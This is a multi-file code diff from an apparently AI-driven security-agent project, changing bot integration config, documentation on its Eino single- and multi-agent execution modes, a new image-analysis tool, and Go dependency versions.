ilink_bot_id: ""
|
||||
ilink_user_id: ""
|
||||
base_url: https://ilinkai.weixin.qq.com
|
||||
bot_type: "3"
|
||||
bot_agent: CyberStrikeAI/1.0
|
||||
wecom: # 企业微信
|
||||
enabled: false
|
||||
token: ""
|
||||
@@ -210,11 +278,13 @@ robots:
|
||||
enabled: false
|
||||
client_id: ""
|
||||
client_secret: ""
|
||||
allow_conversation_id_fallback: false
|
||||
lark: # 飞书
|
||||
enabled: false
|
||||
app_id: ""
|
||||
app_secret: ""
|
||||
verify_token: ""
|
||||
allow_chat_id_fallback: false
|
||||
# ============================================
|
||||
# Skills 相关配置
|
||||
# ============================================
|
||||
@@ -236,3 +306,14 @@ agents_dir: agents
|
||||
# 系统会从该目录加载所有 .yaml 格式的角色配置文件
|
||||
# 每个角色应创建独立的配置文件,例如:roles/CTF.yaml, roles/默认.yaml 等
|
||||
roles_dir: roles # 角色配置文件目录(相对于配置文件所在目录)
|
||||
|
||||
# ============================================
|
||||
# 项目管理与事实黑板
|
||||
# ============================================
|
||||
project:
|
||||
enabled: true
|
||||
# default_project_id: "" # 可选:机器人/批量任务创建对话时的默认项目 ID
|
||||
fact_index_max_runes: 3500
|
||||
fact_summary_max_runes: 240
|
||||
default_inject_deprecated: false
|
||||
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
# Eino 多代理改造说明(DeepAgent)
|
||||
|
||||
本文档记录 **单 Agent(原有 ReAct)** 与 **多 Agent(CloudWeGo Eino `adk/prebuilt/deep`)** 并存的改造范围、进度与后续事项。
|
||||
本文档记录 **Eino 单代理(ADK)** 与 **多 Agent(CloudWeGo Eino `adk/prebuilt`)** 的改造范围、进度与后续事项。原生 ReAct 执行路径已移除。
|
||||
|
||||
## 总体结论
|
||||
|
||||
- **改造已可用于生产试验**:流式对话、MCP 工具桥接、配置开关、前端模式切换均已落地。
|
||||
- **入口策略**:主聊天与 WebShell 在开启多代理且用户选择 **Deep / Plan-Execute / Supervisor** 时走 `/api/multi-agent/stream`,请求体字段 **`orchestration`** 指定当次编排(与界面一致);**原生 ReAct** 走 `/api/agent-loop/stream`。机器人、批量任务无该请求体时服务端按 **`deep`** 执行。均需 `multi_agent.enabled`。
|
||||
- **入口策略**:**单代理** 走 `/api/eino-agent/stream`;多代理(**Deep / Plan-Execute / Supervisor**)走 `/api/multi-agent/stream`,请求体 **`orchestration`** 指定编排。机器人默认 `robot_default_agent_mode: eino_single`;批量队列默认 `eino_single`,多代理模式需 `multi_agent.enabled`。
|
||||
|
||||
## 已完成项
|
||||
|
||||
@@ -18,13 +18,13 @@
|
||||
| 编排 | `internal/multiagent/runner.go`:`deep.New` + 子 `ChatModelAgent` + `adk.NewRunner`(`EnableStreaming: true`,可选 `CheckPointStore`),事件映射为现有 SSE `tool_call` / `response_delta` 等。 |
|
||||
| HTTP | `POST /api/multi-agent`(非流式)、`POST /api/multi-agent/stream`(SSE);路由**常注册**,是否可用由运行时 `multi_agent.enabled` 决定(流式未启用时 SSE 内 `error` + `done`)。 |
|
||||
| 会话准备 | `internal/handler/multi_agent_prepare.go`:`prepareMultiAgentSession`(含 **WebShell** `CreateConversationWithWebshell`、工具白名单与单代理一致)。 |
|
||||
| 单 Agent | `internal/agent` 增加 `ToolsForRole`、`ExecuteMCPToolForConversation`;原 `/api/agent-loop` 未删改语义。 |
|
||||
| 前端 | 主聊天 / WebShell:`multi_agent.enabled` 时可选 **原生 ReAct** 与三种 Eino 命名,多代理路径在 JSON 中带 `orchestration`。设置页不再配置预置编排项;`plan_execute` 外层循环上限等仍可在设置中保存。 |
|
||||
| 流式兼容 | 与 `/api/agent-loop/stream` 共用 `handleStreamEvent`:`conversation`、`progress`、`response_start` / `response_delta`、`thinking` / `thinking_stream_*`(模型 `ReasoningContent`)、`tool_*`、`response`、`done` 等;`tool_result` 带 `toolCallId` 与 `tool_call` 联动;`data.mcpExecutionIds` 与进度 i18n 已对齐。 |
|
||||
| 单 Agent | `internal/agent` 为 MCP/工具层(`ToolsForRole`、`ExecuteMCPToolForConversation`);单代理编排走 `RunEinoSingleChatModelAgent`(`/api/eino-agent*`)。 |
|
||||
| 前端 | 主聊天 / WebShell:**Eino 单代理**(`/api/eino-agent/stream`)与 **Deep / Plan-Execute / Supervisor**(`/api/multi-agent/stream` + `orchestration`);`multi_agent.enabled` 控制多代理选项是否展示。 |
|
||||
| 流式兼容 | Eino 单/多代理与 Web UI 共用 `handleStreamEvent`:`conversation`、`progress`、`response_start` / `response_delta`、`thinking` / `thinking_stream_*`、`tool_*`、`response`、`done` 等。 |
|
||||
| 批量任务 | 队列 `agentMode` 为 `deep` / `plan_execute` / `supervisor` 时子任务带对应 `orchestration` 调用 `RunDeepAgent`;旧值 `multi` 与「`agentMode` 为空且 `batch_use_multi_agent: true`」均按 `deep`。 |
|
||||
| 配置 API | `GET /api/config` 返回 `multi_agent: { enabled, robot_use_multi_agent, sub_agent_count }`;`PUT /api/config` 可更新 `enabled`、`robot_use_multi_agent`(不覆盖 `sub_agents`)。 |
|
||||
| OpenAPI | 多代理路径说明已更新(流式未启用为 SSE 错误事件)。 |
|
||||
| 机器人 | `ProcessMessageForRobot` 在 `enabled && robot_use_multi_agent` 时调用 `multiagent.RunDeepAgent`。 |
|
||||
| 机器人 | `ProcessMessageForRobot` 按 `robot_default_agent_mode`(默认 `eino_single`)调用 `RunEinoSingleChatModelAgent` 或 `RunDeepAgent`。 |
|
||||
| 预置编排 | 聊天 / WebShell:`POST /api/multi-agent*` 请求体 `orchestration`:`deep` \| `plan_execute` \| `supervisor`(缺省 `deep`)。`plan_execute` 不构建 YAML/Markdown 子代理;`plan_execute_loop_max_iterations` 仍来自配置。`supervisor` 至少需一个子代理。 |
|
||||
| Eino 中间件 | `multi_agent.eino_middleware`(可选):`patchtoolcalls`(默认开)、`toolsearch`(按阈值拆分 MCP 工具列表)、`plantask`(需 `eino_skills`)、`reduction`(大工具输出截断/落盘)、`checkpoint_dir`(Runner 断点)、`deep_output_key` / `deep_model_retry_max_retries` / `task_tool_description_prefix`(Deep 与 supervisor 主代理共享其中模型重试与 OutputKey)。`plan_execute` 的 Executor 无 Handlers:仅继承 **ToolsConfig** 侧效果(如 `tool_search` 列表拆分),不挂载 patch/plantask/reduction 中间件。 |
|
||||
|
||||
@@ -59,3 +59,4 @@
|
||||
| 2026-03-22 | `orchestrator.md` / `kind: orchestrator` 主代理、列表主/子标记、与 `orchestrator_instruction` 优先级。 |
|
||||
| 2026-04-19 | 主聊天「对话模式」:原生 ReAct 与 Deep / Plan-Execute / Supervisor;`POST /api/multi-agent*` 请求体 `orchestration` 与界面一致;`config.yaml` / 设置页不再维护预置编排字段(机器人/批量默认 `deep`)。 |
|
||||
| 2026-04-21 | 移除角色 `skills` 与 `/api/roles/skills/list`;`bind_role` 仅继承 tools;Skills 仅通过 Eino `skill` 工具按需加载。 |
|
||||
| 2026-06-02 | **移除原生 ReAct**:删除 `/api/agent-loop*` 执行入口与 `AgentLoopWithProgress`;统一 Eino ADK(单代理 `/api/eino-agent*`,多代理 `/api/multi-agent*`);任务 cancel/tasks API 保留。 |
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
# 视觉分析(analyze_image)
|
||||
|
||||
## 概述
|
||||
|
||||
- **工具名**:`analyze_image`(MCP 内置)
|
||||
- **行为**:读取本地图片 → `imaging` 缩放/JPEG 压缩 → 调用独立 **Vision** 模型 → 返回**纯文本**给 Agent
|
||||
- **上下文**:图片字节**不会**写入对话历史;仅路径与文字摘要进入 Agent 上下文
|
||||
|
||||
## 配置(`config.yaml` → `vision`)
|
||||
|
||||
```yaml
|
||||
vision:
|
||||
enabled: true
|
||||
model: qwen-vl-max # 必填
|
||||
api_key: # 留空 → openai.api_key
|
||||
base_url: # 留空 → openai.base_url
|
||||
provider: # 留空 → openai.provider
|
||||
max_image_bytes: 5242880
|
||||
max_dimension: 2048
|
||||
jpeg_quality: 82
|
||||
max_payload_bytes: 524288
|
||||
skip_preprocess_below_bytes: 2097152 # 低于 2MB 且长边<=max_dimension 时原图直传;0=始终 JPEG 压缩
|
||||
detail: low # low | high | auto
|
||||
timeout_seconds: 60
|
||||
# allowed_roots: [] # 额外绝对路径根
|
||||
```
|
||||
|
||||
`enabled: false` 时不注册工具。
|
||||
|
||||
## Web 设置
|
||||
|
||||
**系统设置 → 基本设置 → 视觉分析(analyze_image)** 可配置启用开关、视觉模型、API Key/Base URL(留空复用 OpenAI)、预处理参数;**保存并应用** 后写入 `config.yaml` 并重新注册 MCP 工具。
|
||||
|
||||
## 路径白名单
|
||||
|
||||
默认可读:
|
||||
|
||||
- 进程工作目录(`cwd`)及其子路径
|
||||
- `chat_uploads/`
|
||||
- `agent.result_storage_dir`(默认 `tmp/`)
|
||||
- `vision.allowed_roots` 中配置的绝对路径
|
||||
|
||||
## Agent 使用
|
||||
|
||||
系统提示已说明:遇图片调用 `analyze_image`,勿用 `read_file` 读二进制图。
|
||||
|
||||
`multi_agent.eino_middleware.tool_search_always_visible_tools` 建议包含 `analyze_image`。
|
||||
|
||||
## 合规
|
||||
|
||||
启用后图片会发往 Vision API 配置的上游;敏感环境请使用可信网关或保持 `enabled: false`。
|
||||
+1
-1
@@ -272,4 +272,4 @@ curl -X POST "http://localhost:8080/api/robot/test" \
|
||||
|
||||
- 钉钉、飞书均**仅处理文本消息**;其他类型(如图片、语音)会提示暂不支持或忽略。
|
||||
- 会话与 Web 端共用同一套对话数据:在机器人里创建的对话会在 Web 端「对话」列表中看到,反之亦然。
|
||||
- 机器人执行逻辑与 **`/api/agent-loop/stream`** 一致(含进度回调、过程详情写入数据库),仅不向客户端推送 SSE,最后将完整回复一次性发回钉钉/飞书/企业微信。
|
||||
- 机器人执行与 **Eino 单/多代理** 相同逻辑(`ProcessMessageForRobot`,含进度回调与过程详情入库),仅不向客户端推送 SSE,最后一次性回复钉钉/飞书/企业微信。默认 `robot_default_agent_mode: eino_single`。
|
||||
|
||||
+1
-1
@@ -269,4 +269,4 @@ Check in this order:
|
||||
|
||||
- DingTalk and Lark: **text messages only**; other types (e.g. image, voice) are not supported and may be ignored.
|
||||
- Conversations are shared with the web UI: conversations created from the bot appear in the web “Conversations” list and vice versa.
|
||||
- Bot execution uses the same logic as **`/api/agent-loop/stream`** (progress callbacks, process details stored in the DB); only the final reply is sent back to DingTalk/Lark in one message (no SSE to the client).
|
||||
- Bot execution uses the same **Eino single/multi-agent** path as the web UI (`ProcessMessageForRobot`, with progress callbacks and process details stored in the DB); only the final reply is sent back to DingTalk/Lark in one message (no SSE). Default: `robot_default_agent_mode: eino_single`.
|
||||
|
||||
@@ -9,13 +9,13 @@ toolchain go1.24.4
|
||||
|
||||
require (
|
||||
github.com/bytedance/sonic v1.15.0
|
||||
github.com/cloudwego/eino v0.8.8
|
||||
github.com/cloudwego/eino v0.8.13
|
||||
github.com/cloudwego/eino-ext/adk/backend/local v0.0.0-20260416081055-0ebab92e14f2
|
||||
github.com/cloudwego/eino-ext/components/document/loader/file v0.0.0-20260416081055-0ebab92e14f2
|
||||
github.com/cloudwego/eino-ext/components/document/transformer/splitter/markdown v0.0.0-20260416081055-0ebab92e14f2
|
||||
github.com/cloudwego/eino-ext/components/document/transformer/splitter/recursive v0.0.0-20260416081055-0ebab92e14f2
|
||||
github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260416081055-0ebab92e14f2
|
||||
github.com/cloudwego/eino-ext/components/model/openai v0.1.12
|
||||
github.com/cloudwego/eino-ext/components/document/loader/file v0.0.0-20260427010451-749e3706378b
|
||||
github.com/cloudwego/eino-ext/components/document/transformer/splitter/markdown v0.0.0-20260427010451-749e3706378b
|
||||
github.com/cloudwego/eino-ext/components/document/transformer/splitter/recursive v0.0.0-20260427010451-749e3706378b
|
||||
github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260427010451-749e3706378b
|
||||
github.com/cloudwego/eino-ext/components/model/openai v0.1.13
|
||||
github.com/creack/pty v1.1.24
|
||||
github.com/eino-contrib/jsonschema v1.0.3
|
||||
github.com/gin-gonic/gin v1.9.1
|
||||
@@ -27,7 +27,15 @@ require (
|
||||
github.com/open-dingtalk/dingtalk-stream-sdk-go v0.9.1
|
||||
github.com/pkoukk/tiktoken-go v0.1.8
|
||||
github.com/robfig/cron/v3 v3.0.1
|
||||
github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e
|
||||
go.opentelemetry.io/otel v1.34.0
|
||||
go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.34.0
|
||||
go.opentelemetry.io/otel/exporters/stdout/stdouttrace v1.34.0
|
||||
go.opentelemetry.io/otel/sdk v1.34.0
|
||||
go.opentelemetry.io/otel/trace v1.34.0
|
||||
go.uber.org/zap v1.26.0
|
||||
golang.org/x/net v0.35.0
|
||||
golang.org/x/text v0.26.0
|
||||
golang.org/x/time v0.14.0
|
||||
gopkg.in/yaml.v3 v3.0.1
|
||||
)
|
||||
@@ -38,13 +46,17 @@ require (
|
||||
github.com/buger/jsonparser v1.1.1 // indirect
|
||||
github.com/bytedance/gopkg v0.1.3 // indirect
|
||||
github.com/bytedance/sonic/loader v0.5.0 // indirect
|
||||
github.com/cenkalti/backoff/v4 v4.3.0 // indirect
|
||||
github.com/cloudwego/base64x v0.1.6 // indirect
|
||||
github.com/cloudwego/eino-ext/libs/acl/openai v0.1.16 // indirect
|
||||
github.com/cloudwego/eino-ext/libs/acl/openai v0.1.17 // indirect
|
||||
github.com/disintegration/imaging v1.6.2 // indirect
|
||||
github.com/dlclark/regexp2 v1.10.0 // indirect
|
||||
github.com/dustin/go-humanize v1.0.1 // indirect
|
||||
github.com/evanphx/json-patch v0.5.2 // indirect
|
||||
github.com/gabriel-vasile/mimetype v1.4.2 // indirect
|
||||
github.com/gin-contrib/sse v0.1.0 // indirect
|
||||
github.com/go-logr/logr v1.4.2 // indirect
|
||||
github.com/go-logr/stdr v1.2.2 // indirect
|
||||
github.com/go-playground/locales v0.14.1 // indirect
|
||||
github.com/go-playground/universal-translator v0.18.1 // indirect
|
||||
github.com/go-playground/validator/v10 v10.14.0 // indirect
|
||||
@@ -52,6 +64,7 @@ require (
|
||||
github.com/gogo/protobuf v1.3.2 // indirect
|
||||
github.com/google/jsonschema-go v0.3.0 // indirect
|
||||
github.com/goph/emperror v0.17.2 // indirect
|
||||
github.com/grpc-ecosystem/grpc-gateway/v2 v2.25.1 // indirect
|
||||
github.com/json-iterator/go v1.1.12 // indirect
|
||||
github.com/klauspost/cpuid/v2 v2.2.10 // indirect
|
||||
github.com/leodido/go-urn v1.2.4 // indirect
|
||||
@@ -70,15 +83,21 @@ require (
|
||||
github.com/wk8/go-ordered-map/v2 v2.1.8 // indirect
|
||||
github.com/yargevad/filepathx v1.0.0 // indirect
|
||||
github.com/yosida95/uritemplate/v3 v3.0.2 // indirect
|
||||
go.opentelemetry.io/auto/sdk v1.1.0 // indirect
|
||||
go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.34.0 // indirect
|
||||
go.opentelemetry.io/otel/metric v1.34.0 // indirect
|
||||
go.opentelemetry.io/proto/otlp v1.5.0 // indirect
|
||||
go.uber.org/multierr v1.11.0 // indirect
|
||||
golang.org/x/arch v0.15.0 // indirect
|
||||
golang.org/x/crypto v0.39.0 // indirect
|
||||
golang.org/x/exp v0.0.0-20250305212735-054e65f0b394 // indirect
|
||||
golang.org/x/net v0.24.0 // indirect
|
||||
golang.org/x/image v0.0.0-20191009234506-e7c1f5e7dbb8 // indirect
|
||||
golang.org/x/oauth2 v0.30.0 // indirect
|
||||
golang.org/x/sys v0.33.0 // indirect
|
||||
golang.org/x/text v0.26.0 // indirect
|
||||
google.golang.org/protobuf v1.30.0 // indirect
|
||||
google.golang.org/genproto/googleapis/api v0.0.0-20250115164207-1a7da9e5054f // indirect
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20250115164207-1a7da9e5054f // indirect
|
||||
google.golang.org/grpc v1.69.4 // indirect
|
||||
google.golang.org/protobuf v1.36.3 // indirect
|
||||
)
|
||||
|
||||
// 修复钉钉 Stream SDK 在长连接断开(熄屏/网络中断)后 "panic: send on closed channel" 问题
|
||||
|
||||
@@ -17,30 +17,34 @@ github.com/bytedance/sonic v1.15.0 h1:/PXeWFaR5ElNcVE84U0dOHjiMHQOwNIx3K4ymzh/uS
|
||||
github.com/bytedance/sonic v1.15.0/go.mod h1:tFkWrPz0/CUCLEF4ri4UkHekCIcdnkqXw9VduqpJh0k=
|
||||
github.com/bytedance/sonic/loader v0.5.0 h1:gXH3KVnatgY7loH5/TkeVyXPfESoqSBSBEiDd5VjlgE=
|
||||
github.com/bytedance/sonic/loader v0.5.0/go.mod h1:AR4NYCk5DdzZizZ5djGqQ92eEhCCcdf5x77udYiSJRo=
|
||||
github.com/cenkalti/backoff/v4 v4.3.0 h1:MyRJ/UdXutAwSAT+s3wNd7MfTIcy71VQueUuFK343L8=
|
||||
github.com/cenkalti/backoff/v4 v4.3.0/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE=
|
||||
github.com/certifi/gocertifi v0.0.0-20190105021004-abcd57078448/go.mod h1:GJKEexRPVJrBSOjoqN5VNOIKJ5Q3RViH6eu3puDRwx4=
|
||||
github.com/cloudwego/base64x v0.1.6 h1:t11wG9AECkCDk5fMSoxmufanudBtJ+/HemLstXDLI2M=
|
||||
github.com/cloudwego/base64x v0.1.6/go.mod h1:OFcloc187FXDaYHvrNIjxSe8ncn0OOM8gEHfghB2IPU=
|
||||
github.com/cloudwego/eino v0.8.8 h1:64NuheQBmxOXe/28Tm85rkBkxXMB5ZhjSu/j0RDFyZU=
|
||||
github.com/cloudwego/eino v0.8.8/go.mod h1:+2N4nsMPxA6kGBHpH+75JuTfEcGprAMTdsZESrShKpU=
|
||||
github.com/cloudwego/eino v0.8.13 h1:z5dhaZNN8TWZbP/lgKxGmF26Ii8fPeUlQCGV/NTtms0=
|
||||
github.com/cloudwego/eino v0.8.13/go.mod h1:+2N4nsMPxA6kGBHpH+75JuTfEcGprAMTdsZESrShKpU=
|
||||
github.com/cloudwego/eino-ext/adk/backend/local v0.0.0-20260416081055-0ebab92e14f2 h1:v2w9TyLAmNsMWo8NwntCc76uvNf6isTFkHB+oZZ8NqI=
|
||||
github.com/cloudwego/eino-ext/adk/backend/local v0.0.0-20260416081055-0ebab92e14f2/go.mod h1:os5Tq5FuSoz/MLqAdZER3ip49Oef9prc0kVsKsPYO48=
|
||||
github.com/cloudwego/eino-ext/components/document/loader/file v0.0.0-20260416081055-0ebab92e14f2 h1:H5Ohr3OWSjiTOe7y9pOPyVCKCNjAVj9YMaWmvZNTYPg=
|
||||
github.com/cloudwego/eino-ext/components/document/loader/file v0.0.0-20260416081055-0ebab92e14f2/go.mod h1:HnxTQxmhuev6zaBl92EHUy/vEDWCuoE/OE4cTiF5JCg=
|
||||
github.com/cloudwego/eino-ext/components/document/transformer/splitter/markdown v0.0.0-20260416081055-0ebab92e14f2 h1:PRli0CmPfgUhwMGWGEAwg8nxde8hInC2OWv0vcIuwMk=
|
||||
github.com/cloudwego/eino-ext/components/document/transformer/splitter/markdown v0.0.0-20260416081055-0ebab92e14f2/go.mod h1:KVOVct4e2BQ7epDONW2QE1qU5+ccoh91FzJTs9vIJj0=
|
||||
github.com/cloudwego/eino-ext/components/document/transformer/splitter/recursive v0.0.0-20260416081055-0ebab92e14f2 h1:8sOFcDf9MtMVDQyozZtuhrmt+mLQRHEaf6dYC20Vxhs=
|
||||
github.com/cloudwego/eino-ext/components/document/transformer/splitter/recursive v0.0.0-20260416081055-0ebab92e14f2/go.mod h1:9R0RQrQSpg1JaNnRtw7+RfRAAv0HgdE348YnrlZ6coo=
|
||||
github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260416081055-0ebab92e14f2 h1:OzKPBfGCJhjbtO+WfIMNSSnXxsj6/hUiyYOTaG2LUf4=
|
||||
github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260416081055-0ebab92e14f2/go.mod h1:zyPrZT2bO6LyRJgVksQowR18jVgyLSvqK93hnO53/Lc=
|
||||
github.com/cloudwego/eino-ext/components/model/openai v0.1.12 h1:vcwNXeT7bpaXMNwUhtcHZwMYY8II2jAihuooyivmEZ0=
|
||||
github.com/cloudwego/eino-ext/components/model/openai v0.1.12/go.mod h1:ve/+/hLZMvxD5AieQ355xHIFhAZVlsG4rdwTnE16aQU=
|
||||
github.com/cloudwego/eino-ext/libs/acl/openai v0.1.16 h1:q242n5P5Tx3a2QLaBmkfEpfRs/o17Ac6u3EAgItEEOc=
|
||||
github.com/cloudwego/eino-ext/libs/acl/openai v0.1.16/go.mod h1:p+l0zBB0GjjX8HTlbTs3g3KfUFwZC11bsCGZOXW/3L0=
|
||||
github.com/cloudwego/eino-ext/components/document/loader/file v0.0.0-20260427010451-749e3706378b h1:GIOC/VnXuSQx79mnQ3HgMvECjtyqvpJipmSUTFFfVsc=
|
||||
github.com/cloudwego/eino-ext/components/document/loader/file v0.0.0-20260427010451-749e3706378b/go.mod h1:HnxTQxmhuev6zaBl92EHUy/vEDWCuoE/OE4cTiF5JCg=
|
||||
github.com/cloudwego/eino-ext/components/document/transformer/splitter/markdown v0.0.0-20260427010451-749e3706378b h1:3owjV4nv+XRplavTeqFlCeAV4v7EHR2tIXDqLEmPc38=
|
||||
github.com/cloudwego/eino-ext/components/document/transformer/splitter/markdown v0.0.0-20260427010451-749e3706378b/go.mod h1:KVOVct4e2BQ7epDONW2QE1qU5+ccoh91FzJTs9vIJj0=
|
||||
github.com/cloudwego/eino-ext/components/document/transformer/splitter/recursive v0.0.0-20260427010451-749e3706378b h1:j8sj/5QiooV3LWphFDsJvyD/csWwupz+UKXeG+nqiNg=
|
||||
github.com/cloudwego/eino-ext/components/document/transformer/splitter/recursive v0.0.0-20260427010451-749e3706378b/go.mod h1:9R0RQrQSpg1JaNnRtw7+RfRAAv0HgdE348YnrlZ6coo=
|
||||
github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260427010451-749e3706378b h1:pOqupZQyc46rw2Z0HeybtTmSMTwqfTrbRuGDuDsNf2A=
|
||||
github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260427010451-749e3706378b/go.mod h1:zyPrZT2bO6LyRJgVksQowR18jVgyLSvqK93hnO53/Lc=
|
||||
github.com/cloudwego/eino-ext/components/model/openai v0.1.13 h1:5XHRTiTD5bt9KQrMHcfvuWNklEC3tpm3XHejdozt9vM=
|
||||
github.com/cloudwego/eino-ext/components/model/openai v0.1.13/go.mod h1:mgIoqYYOc0eECCqvLbEYpOJrQNTNxkwXzSJzFU+v5sQ=
|
||||
github.com/cloudwego/eino-ext/libs/acl/openai v0.1.17 h1:EeVcR1TslRA2IdNW1h/2LaGbPlffwGhQm99jM3zWZiI=
|
||||
github.com/cloudwego/eino-ext/libs/acl/openai v0.1.17/go.mod h1:Zkcx6DPTR2NfWmtSXbhItswGw6hqUezNPhNcke0pOG8=
|
||||
github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s=
|
||||
github.com/creack/pty v1.1.24/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/disintegration/imaging v1.6.2 h1:w1LecBlG2Lnp8B3jk5zSuNqd7b4DXhcjwek1ei82L+c=
|
||||
github.com/disintegration/imaging v1.6.2/go.mod h1:44/5580QXChDfwIclfc/PCwrr44amcmDAg8hxG0Ewe4=
|
||||
github.com/dlclark/regexp2 v1.10.0 h1:+/GIL799phkJqYW+3YbOd8LCcbHzT0Pbo8zl70MHsq0=
|
||||
github.com/dlclark/regexp2 v1.10.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
|
||||
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
||||
@@ -59,6 +63,11 @@ github.com/gin-gonic/gin v1.9.1 h1:4idEAncQnU5cB7BeOkPtxjfCSye0AAm1R0RVIqJ+Jmg=
|
||||
github.com/gin-gonic/gin v1.9.1/go.mod h1:hPrL7YrpYKXt5YId3A/Tnip5kqbEAP+KLuI3SUcPTeU=
|
||||
github.com/go-check/check v0.0.0-20180628173108-788fd7840127 h1:0gkP6mzaMqkmpcJYCFOLkIBwI7xFExG03bbkOkCvUPI=
|
||||
github.com/go-check/check v0.0.0-20180628173108-788fd7840127/go.mod h1:9ES+weclKsC9YodN5RgxqK/VD9HM9JsCSh7rNhMZE98=
|
||||
github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A=
|
||||
github.com/go-logr/logr v1.4.2 h1:6pFjapn8bFcIbiKo3XT4j/BhANplGihG6tvd+8rYgrY=
|
||||
github.com/go-logr/logr v1.4.2/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
|
||||
github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag=
|
||||
github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE=
|
||||
github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s=
|
||||
github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
|
||||
github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA=
|
||||
@@ -75,8 +84,8 @@ github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69
|
||||
github.com/golang-jwt/jwt/v5 v5.2.2 h1:Rl4B7itRWVtYIHFrSNd7vhTiz9UpLdi6gZhZ3wEeDy8=
|
||||
github.com/golang-jwt/jwt/v5 v5.2.2/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk=
|
||||
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
|
||||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek=
|
||||
github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps=
|
||||
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
|
||||
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
|
||||
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
|
||||
@@ -90,6 +99,8 @@ github.com/gopherjs/gopherjs v1.17.2 h1:fQnZVsXk8uxXIStYb0N4bGk7jeyTalG/wsZjQ25d
|
||||
github.com/gopherjs/gopherjs v1.17.2/go.mod h1:pRRIvn/QzFLrKfvEz3qUuEhtE/zLCWfreZ6J5gM2i+k=
|
||||
github.com/gorilla/websocket v1.5.0 h1:PPwGk2jz7EePpoHN/+ClbZu8SPxiqlu12wZP/3sWmnc=
|
||||
github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
github.com/grpc-ecosystem/grpc-gateway/v2 v2.25.1 h1:VNqngBF40hVlDloBruUehVYC3ArSgIyScOAyMRqBxRg=
|
||||
github.com/grpc-ecosystem/grpc-gateway/v2 v2.25.1/go.mod h1:RBRO7fro65R6tjKzYgLAFo0t1QEXY1Dp+i/bvpRiqiQ=
|
||||
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
|
||||
github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI=
|
||||
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
|
||||
@@ -154,6 +165,8 @@ github.com/rollbar/rollbar-go v1.0.2/go.mod h1:AcFs5f0I+c71bpHlXNNDbOWJiKwjFDtIS
|
||||
github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=
|
||||
github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ=
|
||||
